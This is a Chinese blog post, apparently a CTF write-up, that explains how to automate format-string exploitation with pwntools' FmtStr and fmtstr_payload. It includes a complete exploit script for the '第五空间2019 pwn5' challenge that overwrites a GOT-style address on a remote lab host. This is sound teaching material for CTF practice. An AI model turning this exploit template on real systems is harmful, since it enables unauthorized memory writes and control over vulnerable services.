当前位置:   article > 正文

[pwn]格式化字符串全自动exp!!!_64pwn位exp脚本

64pwn位exp脚本
前言

格式化字符串一把梭真的好爽!!!!!!

再也不用绞尽脑汁去gdb调试多少个字节和几位了!!

呜呜呜,花了一个通宵把这一系列搞定,喜极而泣,特此记录

以前的我做这类题心理状态:
在这里插入图片描述
现在的我:
在这里插入图片描述
总之就是非!常!爽!

这里我用的例题是 [第五空间2019决赛] 里的pwn5,考察到的知识是单纯的格式化字符串。


格式化字符串原理及利用

原理就不赘述啦,详情参考ctfwiki上的内容
或者搜索下,其他很多大佬写的文章都超级棒!!

利用的话,如下:
利用格式化字符串的漏洞,一般会有如下几种操作:

泄露栈内存
    获取某个变量的值
    获取某个变量对应地址的内存
泄露任意地址内存
    利用GOT表得到libc函数地址,进而获取libc,进而获取其它libc函数地址
    盲打,dump整个程序,获取有用信息
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

pwntools中自带的格式化字符串漏洞函数

做题的时候容易遇到两个问题:

  1. 找不到偏移量是多少,也就是%n$x中的n为多少
  2. 写入指定地址用%n构造字节数要算的很累,而且容易算错

然后!为了解决这两个问题我翻了好久,总算翻到了点好用的!
在这里插入图片描述

一、针对第一个找不到偏移量的问题
	pwntools自带了FmtStr函数,使用方法如下:
  • 1

def exec_fmt(pad):
	p = process("./fmt")
	# send 还是 sendline以程序为准
	p.send(pad)
	return p.recv()

fmt = FmtStr(exec_fmt)
print("offset ===> ", fmt.offset)


  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  1. 直接就可以用,需要本地ELF文件(所以这个方法不能盲pwn)
  2. 不用去考虑pad传参传什么,Fmt函数都帮你搞定啦哈哈哈
    然后只用改一下你process里的文件名就好咯
  3. 如果存在格式化字符串漏洞的话就能自动计算偏移出来了!

在这里插入图片描述

二、自动写入指定地址
  • 咳咳,经过刚才的自动爆破我们已经得到了偏移量。
    但!偏移量只是我们实现pwn(砰!)的一个步骤而已
    接下来还需要用这个偏移量实现任意地址写或者任意地址泄露。
    我们平常在%n前面拼凑字节实现改写,但现在有fmtstr_payload

fmtstr_payload是pwntools里面的一个工具,用来简化对格式化字符串漏洞的构造工作。

# 64位格式化漏洞要设置一下上下文环境,32位注释掉这行即可
context.arch = "amd64"

fmtstr_payload(offset, writes, numbwritten=0, write_size="byte")
# 总共四个参数:
# offset --> 偏移量 
# writes --> {被覆盖的地址:要写入的地址} 地址都为int型,也就是不需要使用p32或者p64打包
# numbwritten --> 已经由printf函数写入的字节数,默认为0
# write_size --> 逐byte/short/int写入,默认是byte,这样发送的字节少
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移,也就是刚才自动算出来的。
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成
{printfGOT:systemAddress};
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload


实战[第五空间pwn5]

这里我放上自动化的题解,也可以当个模板哈哈哈


from pwn import *

host = "192.168.39.97"
port = 10002
dog=remote(host, port)
#dog = process("./fmt")

# 64位格式化漏洞要设置一下上下文环境,否则报错
# context.arch = "amd64"

def exec_fmt(pad):
	p = process("./fmt")
	# send 还是 sendline以程序为准
	p.send(pad)
	return p.recv()

fmt = FmtStr(exec_fmt)
print("offset ===> ", fmt.offset)

pay=fmtstr_payload(fmt.offset, {0x804c044: 0},write_size = "byte",numbwritten = 0)

dog.sendline(pay)

dog.sendline("0")
dog.interactive()

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

大功告成!每天进步亿点点

在这里插入图片描述


结语

虽然使用工具真的 超 级 快 乐 ,但原理也要弄懂的
也到了该睡的点了哈哈哈哈,晚安,祝大家都好梦!
pwn狗日常任务达成!biubiubiu~

在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/羊村懒王/article/detail/705254
推荐阅读
相关标签
  

闽ICP备14008679号